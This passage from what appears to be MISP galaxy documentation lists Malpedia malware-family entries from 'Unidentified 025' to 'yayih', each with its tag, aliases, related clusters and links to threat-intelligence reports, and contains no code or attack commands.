https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_024_ransom
https://twitter.com/malwrhunterteam/status/789161704106127360

Unidentified 025 (Clickfraud)

The tag is: *misp-galaxy:malpedia="Unidentified 025 (Clickfraud)"*

Unidentified 025 (Clickfraud) is also known as:

Table 1577. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_025_clickfraud
http://malware-traffic-analysis.net/2016/05/09/index.html

Unidentified 028

The tag is: *misp-galaxy:malpedia="Unidentified 028"*

Unidentified 028 is also known as:

Table 1578. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_028

Unidentified 029

The tag is: *misp-galaxy:malpedia="Unidentified 029"*

Unidentified 029 is also known as:

Table 1579. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_029

Filecoder

The tag is: *misp-galaxy:malpedia="Filecoder"*

Filecoder is also known as:

Table 1580. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_030
https://twitter.com/JaromirHorejsi/status/877811773826641920

Unidentified 031

The tag is: *misp-galaxy:malpedia="Unidentified 031"*

Unidentified 031 is also known as:

Table 1581. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_031

Unidentified 032

The tag is: *misp-galaxy:malpedia="Unidentified 032"*

Unidentified 032 is also known as:

Table 1582. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_032
https://researchcenter.paloaltonetworks.com/2017/08/unit42-blockbuster-saga-continues/

Unidentified 033

The tag is: *misp-galaxy:malpedia="Unidentified 033"*

Unidentified 033 is also known as:

Table 1583. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_033

Unidentified 034

The tag is: *misp-galaxy:malpedia="Unidentified 034"*

Unidentified 034 is also known as:

Table 1584. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_034
https://zerophagemalware.com/2017/09/21/rig-ek-via-rulan-drops-an-infostealer/

Unidentified 035

The tag is: *misp-galaxy:malpedia="Unidentified 035"*

Unidentified 035 is also known as:

Table 1585. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_035

Unidentified 037

The tag is: *misp-galaxy:malpedia="Unidentified 037"*

Unidentified 037 is also known as:

Table 1586. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_037

Unidentified 038

The tag is: *misp-galaxy:malpedia="Unidentified 038"*

Unidentified 038 is also known as:

Table 1587. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_038

Unidentified 039

The tag is: *misp-galaxy:malpedia="Unidentified 039"*

Unidentified 039 is also known as:

Table 1588. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_039

Unidentified 041

The tag is: *misp-galaxy:malpedia="Unidentified 041"*

Unidentified 041 is also known as:

Table 1589. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_041

Unidentified 042

The tag is: *misp-galaxy:malpedia="Unidentified 042"*

Unidentified 042 is also known as:

Table 1590. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_042
http://www.intezer.com/lazarus-group-targets-more-cryptocurrency-exchanges-and-fintech-companies/

Unidentified 044

The tag is: *misp-galaxy:malpedia="Unidentified 044"*

Unidentified 044 is also known as:

Table 1591. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_044

Unidentified 045

The tag is: *misp-galaxy:malpedia="Unidentified 045"*

Unidentified 045 is also known as:

Table 1592. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_045

Unidentified 046

The tag is: *misp-galaxy:malpedia="Unidentified 046"*

Unidentified 046 is also known as:

Table 1593. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_046
https://twitter.com/DrunkBinary/status/1006534471687004160

Unidentified 047

RAT written in Delphi used by Patchwork APT.

The tag is: *misp-galaxy:malpedia="Unidentified 047"*

Unidentified 047 is also known as:

Table 1594. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_047
https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/

Unidentified 048 (Lazarus?)

The tag is: *misp-galaxy:malpedia="Unidentified 048 (Lazarus?)"*

Unidentified 048 (Lazarus?) is also known as:

Table 1595. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_048
https://twitter.com/DrunkBinary/status/1002587521073721346

Unidentified 049 (Lazarus/RAT)

The tag is: *misp-galaxy:malpedia="Unidentified 049 (Lazarus/RAT)"*

Unidentified 049 (Lazarus/RAT) is also known as:

Table 1596. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_049
https://www.welivesecurity.com/2017/02/16/demystifying-targeted-malware-used-polish-banks/

Unidentified 051

The tag is: *misp-galaxy:malpedia="Unidentified 051"*

Unidentified 051 is also known as:

Table 1597. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_051
https://twitter.com/CDA/status/1014144988454772736

Unidentified 052

The tag is: *misp-galaxy:malpedia="Unidentified 052"*

Unidentified 052 is also known as:

Table 1598. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_052

Unidentified 053 (Wonknu?)

The tag is: *misp-galaxy:malpedia="Unidentified 053 (Wonknu?)"*

Unidentified 053 (Wonknu?) is also known as:

Table 1599. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_053

https://labsblog.f-secure.com/2015/11/24/wonknu-a-spy-for-the-3rd-asean-us-summit/

Unlock92

The tag is: *misp-galaxy:malpedia="Unlock92"*

Unlock92 is also known as:

Table 1600. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unlock92
https://twitter.com/struppigel/status/810753660737073153
https://twitter.com/bartblaze/status/976188821078462465

UPAS

The tag is: *misp-galaxy:malpedia="UPAS"*

UPAS is also known as:

- Rombrast

Table 1601. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.upas
https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/
https://malware.dontneedcoffee.com/2012/08/inside-upas-kit1.0.1.1.html
https://twitter.com/ulexec/status/1005096227741020160

Upatre

The tag is: *misp-galaxy:malpedia="Upatre"*

Upatre is also known as:

Upatre has relationships with:

- similar: misp-galaxy:tool="Upatre" with estimative-language:likelihood-probability="likely"

Table 1602. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.upatre
https://johannesbader.ch/2015/06/Win32-Upatre-BI-Part-1-Unpacking/

https://researchcenter.paloaltonetworks.com/2018/07/unit42-upatre-continues-evolve-new-anti-analysis-techniques/
https://secrary.com/ReversingMalware/Upatre/

Urausy

The tag is: *misp-galaxy:malpedia="Urausy"*

Urausy is also known as:

Table 1603. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.urausy

UrlZone

The tag is: *misp-galaxy:malpedia="UrlZone"*

UrlZone is also known as:

- Bebloh
- Shiotob

UrlZone has relationships with:

- similar: misp-galaxy:banker="Bebloh" with estimative-language:likelihood-probability="likely"

Table 1604. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.urlzone
https://www.gdatasoftware.com/blog/2013/12/23978-bebloh-a-well-known-banking-trojan-with-noteworthy-innovations
https://www.fireeye.com/blog/threat-research/2016/01/urlzone_zones_inon.html
https://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/
https://www.johannesbader.ch/2015/01/the-dga-of-shiotob/
https://www.proofpoint.com/us/threat-insight/post/Vawtrak-UrlZone-Banking-Trojans-Target-Japan
https://www.arbornetworks.com/blog/asert/an-update-on-the-urlzone-banker/
https://krebsonsecurity.com/2011/07/trojan-tricks-victims-into-transfering-funds/

Uroburos

The tag is: *misp-galaxy:malpedia="Uroburos"*

Uroburos is also known as:

- Snake

Uroburos has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Uroburos - S0022" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Turla" with estimative-language:likelihood-probability="likely"

Table 1605. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.uroburos

Vawtrak

The tag is: *misp-galaxy:malpedia="Vawtrak"*

Vawtrak is also known as:

- Catch
- grabnew
- NeverQuest

Vawtrak has relationships with:

- similar: misp-galaxy:tool="Vawtrak" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Vawtrak" with estimative-language:likelihood-probability="likely"

Table 1606. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vawtrak
https://threatpost.com/pos-attacks-net-crooks-20-million-stolen-bank-cards/117595/
https://www.blueliv.com/downloads/network-insights-into-vawtrak-v2.pdf
http://thehackernews.com/2017/01/neverquest-fbi-hacker.html
https://info.phishlabs.com/blog/the-unrelenting-evolution-of-vawtrak
https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/

Velso Ransomware

Ransomware that appears to require manually installation (believed to be via RDP). Encrypts files with .velso extension.

The tag is: *misp-galaxy:malpedia="Velso Ransomware"*

Velso Ransomware is also known as:

Table 1607. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.velso
https://www.bleepingcomputer.com/news/security/the-velso-ransomware-being-manually-installed-by-attackers/

Venus Locker

The tag is: *misp-galaxy:malpedia="Venus Locker"*

Venus Locker is also known as:

Table 1608. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.venus_locker
https://twitter.com/JaromirHorejsi/status/813690129088937984

Vermin

The tag is: *misp-galaxy:malpedia="Vermin"*

Vermin is also known as:

Table 1609. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vermin
https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/
https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/

Vflooder

Vflooder floods VirusTotal by infinitely submitting a copy of itself. Some variants apparently also try to flood Twitter. The impact on these services are negligible, but for researchers it can be a nuisance. Most versions are protectd by VMProtect.

The tag is: *misp-galaxy:malpedia="Vflooder"*

Vflooder is also known as:

Table 1610. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vflooder
https://blog.malwarebytes.com/threat-analysis/2017/10/analyzing-malware-by-api-calls/

virdetdoor

The tag is: *misp-galaxy:malpedia="virdetdoor"*

virdetdoor is also known as:

Table 1611. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.virdetdoor
https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks

Virut

The tag is: *misp-galaxy:malpedia="Virut"*

Virut is also known as:

Virut has relationships with:

- similar: misp-galaxy:botnet="Virut" with estimative-language:likelihood-probability="likely"

Table 1612. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.virut
https://www.theregister.co.uk/2018/01/10/taiwanese_police_malware/
https://blog.malwarebytes.com/threat-analysis/2018/03/blast-from-the-past-stowaway-virut-delivered-with-chinese-ddos-bot/

VM Zeus

The tag is: *misp-galaxy:malpedia="VM Zeus"*

VM Zeus is also known as:

- VMzeus
- ZeusVM
- Zberp

VM Zeus has relationships with:

- similar: misp-galaxy:banker="Zeus VM" with estimative-language:likelihood-probability="likely"

Table 1613. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vmzeus

https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/
https://securityintelligence.com/new-zberp-trojan-discovered-zeus-zbot-carberp/
https://asert.arbornetworks.com/wp-content/uploads/2015/08/ZeusVM_Bits_and_Pieces.pdf

Vobfus

The tag is: *misp-galaxy:malpedia="Vobfus"*

Vobfus is also known as:

Table 1614. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vobfus
http://contagiodump.blogspot.com/2012/12/nov-2012-worm-vobfus-samples.html
https://blog.trendmicro.com/trendlabs-security-intelligence/whats-the-fuss-with-worm_vobfus/

Volgmer

The tag is: *misp-galaxy:malpedia="Volgmer"*

Volgmer is also known as:

- FALLCHILL
- Manuscrypt

Volgmer has relationships with:

- similar: misp-galaxy:rat="FALLCHILL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="FALLCHILL - S0181" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="Volgmer - S0180" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Volgmer" with estimative-language:likelihood-probability="likely"

Table 1615. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.volgmer
https://www.us-cert.gov/ncas/alerts/TA17-318B

Vreikstadi

The tag is: *misp-galaxy:malpedia="Vreikstadi"*

Vreikstadi is also known as:

Table 1616. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vreikstadi
https://twitter.com/malware_traffic/status/821483557990318080

vSkimmer

The tag is: *misp-galaxy:malpedia="vSkimmer"*

vSkimmer is also known as:

Table 1617. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vskimmer
http://vkremez.weebly.com/cyber-security/-backdoor-win32hesetoxa-vskimmer-pos-malware-analysis
http://www.xylibox.com/2013/01/vskimmer.html
https://securingtomorrow.mcafee.com/mcafee-labs/vskimmer-botnet-targets-credit-card-payment-terminals/

w32times

The tag is: *misp-galaxy:malpedia="w32times"*

w32times is also known as:

Table 1618. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.w32times
https://attack.mitre.org/wiki/Group/G0022

WannaCryptor

The tag is: *misp-galaxy:malpedia="WannaCryptor"*

WannaCryptor is also known as:

- Wcry
- WannaCry
- Wana Decrypt0r

WannaCryptor has relationships with:

- similar: misp-galaxy:ransomware="WannaCry" with estimative-language:likelihood-probability="likely"

Table 1619. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wannacryptor
https://themoscowtimes.com/news/wcry-virus-reportedly-infects-russian-interior-ministrys-computer-network-57984
https://blog.avast.com/ransomware-that-infected-telefonica-and-nhs-hospitals-is-spreading-aggressively-with-over-50000-attacks-so-far-today
https://krebsonsecurity.com/2017/05/u-k-hospitals-hit-in-widespread-ransomware-attack/
https://blog.gdatasoftware.com/2017/05/29751-wannacry-ransomware-campaign
https://securelist.com/blog/incidents/78351/wannacry-ransomware-used-in-widespread-attacks-all-over-the-world/
http://blog.emsisoft.com/2017/05/12/wcry-ransomware-outbreak/
https://blog.comae.io/wannacry-the-largest-ransom-ware-infection-in-history-f37da8e30a58
https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html
https://blog.comae.io/wannacry-new-variants-detected-b8908fefea7e
https://baesystemsai.blogspot.de/2017/05/wanacrypt0r-ransomworm.html
https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168
https://blog.malwarebytes.com/cybercrime/2017/05/how-did-wannacry-ransomworm-spread/
https://blog.comae.io/wannacry-decrypting-files-with-wanakiwi-demo-86bafb81112d
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group
https://www.flashpoint-intel.com/blog/linguistic-analysis-wannacry-ransomware/
http://www.independent.co.uk/news/uk/home-news/wannacry-malware-hack-nhs-report-cybercrime-north-korea-uk-ben-wallace-a8022491.html

WaterMiner

The tag is: *misp-galaxy:malpedia="WaterMiner"*

WaterMiner is also known as:

Table 1620. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.waterminer
https://blog.minerva-labs.com/waterminer-a-new-evasive-crypto-miner

WaterSpout

The tag is: *misp-galaxy:malpedia="WaterSpout"*

WaterSpout is also known as:

Table 1621. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.waterspout
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html

WebC2-AdSpace

The tag is: *misp-galaxy:malpedia="WebC2-AdSpace"*

WebC2-AdSpace is also known as:

Table 1622. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_adspace
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Ausov

The tag is: *misp-galaxy:malpedia="WebC2-Ausov"*

WebC2-Ausov is also known as:

Table 1623. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_ausov
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Bolid

The tag is: *misp-galaxy:malpedia="WebC2-Bolid"*

WebC2-Bolid is also known as:

Table 1624. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_bolid
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Cson

The tag is: *misp-galaxy:malpedia="WebC2-Cson"*

WebC2-Cson is also known as:

Table 1625. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_cson
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-DIV

The tag is: *misp-galaxy:malpedia="WebC2-DIV"*

WebC2-DIV is also known as:

Table 1626. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_div
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-GreenCat

The tag is: *misp-galaxy:malpedia="WebC2-GreenCat"*

WebC2-GreenCat is also known as:

Table 1627. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_greencat
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Head

The tag is: *misp-galaxy:malpedia="WebC2-Head"*

WebC2-Head is also known as:

Table 1628. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_head

https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Kt3

The tag is: *misp-galaxy:malpedia="WebC2-Kt3"*

WebC2-Kt3 is also known as:

Table 1629. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_kt3
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Qbp

The tag is: *misp-galaxy:malpedia="WebC2-Qbp"*

WebC2-Qbp is also known as:

Table 1630. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_qbp
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Rave

The tag is: *misp-galaxy:malpedia="WebC2-Rave"*

WebC2-Rave is also known as:

Table 1631. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_rave
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Table

The tag is: *misp-galaxy:malpedia="WebC2-Table"*

WebC2-Table is also known as:

Table 1632. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_table
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-UGX

The tag is: *misp-galaxy:malpedia="WebC2-UGX"*

WebC2-UGX is also known as:

Table 1633. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_ugx
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Yahoo

The tag is: *misp-galaxy:malpedia="WebC2-Yahoo"*

WebC2-Yahoo is also known as:

Table 1634. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_yahoo
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebMonitor RAT

The tag is: *misp-galaxy:malpedia="WebMonitor RAT"*

WebMonitor RAT is also known as:

Table 1635. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webmonitor
https://researchcenter.paloaltonetworks.com/2018/04/unit42-say-cheese-webmonitor-rat-comes-c2-service-c2aas/

WellMess

The tag is: *misp-galaxy:malpedia="WellMess"*

WellMess is also known as:

WellMess has relationships with:

- similar: misp-galaxy:backdoor="WellMess" with estimative-language:likelihood-probability="likely"

Table 1636. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wellmess
https://blog.jpcert.or.jp/2018/07/malware-wellmes-9b78.html

WildFire

The tag is: *misp-galaxy:malpedia="WildFire"*

WildFire is also known as:

Table 1637. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wildfire
https://labs.opendns.com/2016/07/13/wildfire-ransomware-gaining-momentum/

WinMM

The tag is: *misp-galaxy:malpedia="WinMM"*

WinMM is also known as:

WinMM has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="WinMM - S0059" with estimative-language:likelihood-probability="likely"

Table 1638. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.winmm
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://securelist.com/analysis/publications/69953/the-naikon-apt/
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf

Winnti

The tag is: *misp-galaxy:malpedia="Winnti"*

Winnti is also known as:

Winnti has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Winnti - S0141" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Winnti" with estimative-language:likelihood-probability="likely"

Table 1639. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.winnti
http://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/
http://blog.trendmicro.com/trendlabs-security-intelligence/pigs-malware-examining-possible-member-winnti-group/
https://www.protectwise.com/blog/winnti-evolution-going-open-source.html
https://github.com/TKCERT/winnti-nmap-script
https://github.com/TKCERT/winnti-suricata-lua
https://github.com/TKCERT/winnti-detector

Winsloader

The tag is: *misp-galaxy:malpedia="Winsloader"*

Winsloader is also known as:

Table 1640. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.winsloader
http://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/

Wipbot

The tag is: *misp-galaxy:malpedia="Wipbot"*

Wipbot is also known as:

Wipbot has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Epic - S0091" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:tool="Wipbot" with estimative-language:likelihood-probability="likely"

Table 1641. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wipbot
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf

WMI Ghost

The tag is: *misp-galaxy:malpedia="WMI Ghost"*

WMI Ghost is also known as:

- Wimmie
- Syndicasec

Table 1642. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wmighost
https://secrary.com/ReversingMalware/WMIGhost/
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets

WndTest

The tag is: *misp-galaxy:malpedia="WndTest"*

WndTest is also known as:

Table 1643. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wndtest
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Wonknu

The tag is: *misp-galaxy:malpedia="Wonknu"*

Wonknu is also known as:

Table 1644. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wonknu

https://labsblog.f-secure.com/2015/11/24/wonknu-a-spy-for-the-3rd-asean-us-summit/

woody

The tag is: *misp-galaxy:malpedia="woody"*

woody is also known as:

Table 1645. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.woody
https://www.sans.org/reading-room/whitepapers/malicious/detailed-analysis-advanced-persistent-threat-malware-33814

Woolger

The tag is: *misp-galaxy:malpedia="Woolger"*

Woolger is also known as:

- WoolenLogger

Table 1646. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.woolger
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf
http://www.trendmicro.it/media/wp/operation-woolen-goldfish-whitepaper-en.pdf

X-Agent

The tag is: *misp-galaxy:malpedia="X-Agent"*

X-Agent is also known as:

- splm
- chopstick

X-Agent has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="CHOPSTICK - S0023" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-mobile-attack-malware="X-Agent - MOB-S0030" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CHOPSTICK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="X-Agent" with estimative-language:likelihood-probability="likely"

Table 1647. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xagent
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/
http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman%20Holiday-Report_v6_1.pdf

XBot POS

The tag is: *misp-galaxy:malpedia="XBot POS"*

XBot POS is also known as:

Table 1648. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xbot_pos
https://benkowlab.blogspot.de/2017/08/quick-look-at-another-alina-fork-xbot.html

XBTL

The tag is: *misp-galaxy:malpedia="XBTL"*

XBTL is also known as:

Table 1649. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xbtl

Xpan

The tag is: *misp-galaxy:malpedia="Xpan"*

Xpan is also known as:

Table 1650. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xpan
https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/

https://securelist.com/blog/research/78110/xpan-i-am-your-father/

XPCTRA

Incorporates code of Quasar RAT.

The tag is: *misp-galaxy:malpedia="XPCTRA"*

XPCTRA is also known as:

- Expectra

Table 1651. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xpctra
https://isc.sans.edu/forums/diary/XPCTRA+Malware+Steals+Banking+and+Digital+Wallet+Users+Credentials/22868/
https://www.buguroo.com/en/blog/bank-malware-in-brazil-xpctra-rat-analysis

XP PrivEsc (CVE-2014-4076)

The tag is: *misp-galaxy:malpedia="XP PrivEsc (CVE-2014-4076)"*

XP PrivEsc (CVE-2014-4076) is also known as:

Table 1652. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xp_privesc
https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf

xsPlus

The tag is: *misp-galaxy:malpedia="xsPlus"*

xsPlus is also known as:

- nokian

Table 1653. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xsplus
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://securelist.com/analysis/publications/69953/the-naikon-apt/
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf

X-Tunnel

The tag is: *misp-galaxy:malpedia="X-Tunnel"*

X-Tunnel is also known as:

- xaps

X-Tunnel has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="XTunnel - S0117" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="X-Tunnel" with estimative-language:likelihood-probability="likely"

Table 1654. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xtunnel
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/
https://www.root9b.com/sites/default/files/whitepapers/R9b_FSOFACY_0.pdf
https://www.root9b.com/sites/default/files/whitepapers/root9b_follow_up_report_apt28.pdf
https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/
http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf

xxmm

The tag is: *misp-galaxy:malpedia="xxmm"*

xxmm is also known as:

- ShadowWalker

Table 1655. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xxmm
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses
http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/

Yahoyah

The tag is: *misp-galaxy:malpedia="Yahoyah"*

Yahoyah is also known as:

- KeyBoy

Yahoyah has relationships with:

- similar: misp-galaxy:tool="KeyBoy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="KeyBoy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Yahoyah" with estimative-language:likelihood-probability="likely"

Table 1656. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yahoyah
http://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/

yayih

The tag is: *misp-galaxy:malpedia="yayih"*

yayih is also known as:

- bbsinfo
- aumlib

